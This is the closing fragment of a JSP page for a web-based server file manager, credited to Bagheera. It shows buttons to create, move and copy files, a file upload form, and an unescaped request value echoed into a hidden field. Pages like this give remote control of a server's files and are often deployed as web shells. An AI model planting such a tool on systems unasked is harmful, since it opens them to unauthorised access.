<td><input class="button" type="Submit" name="Submit" value="Create File"></td>
|
|
<td><input class="button" type="Submit" name="Submit" value="Move Files"></td>
|
|
<td><input class="button" type="Submit" name="Submit" value="Copy Files"></td></tr>
|
|
</table>
|
|
</form>
|
|
|
|
<form action="<%= browser_name %>" enctype="multipart/form-data" method="POST">
|
|
<table cellpadding="0">
|
|
<tr>
|
|
<td><input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
|
|
<input type="file" name="myFile"></td>
|
|
<td><input type="Submit" class="button" name="Submit" value="Upload"></td>
|
|
</tr>
|
|
</table>
|
|
</form>
|
|
<hr>
|
|
<center><small>JSP 文件管理器 v1.001 By Bagheera<a href="http://jmmm.com">http://jmmm.com</a>
|
|
</small></center>
|
|
</td></tr></table>
|
|
</body>
|
|
</html>
|
|
<%
|
|
}
|
|
%>
|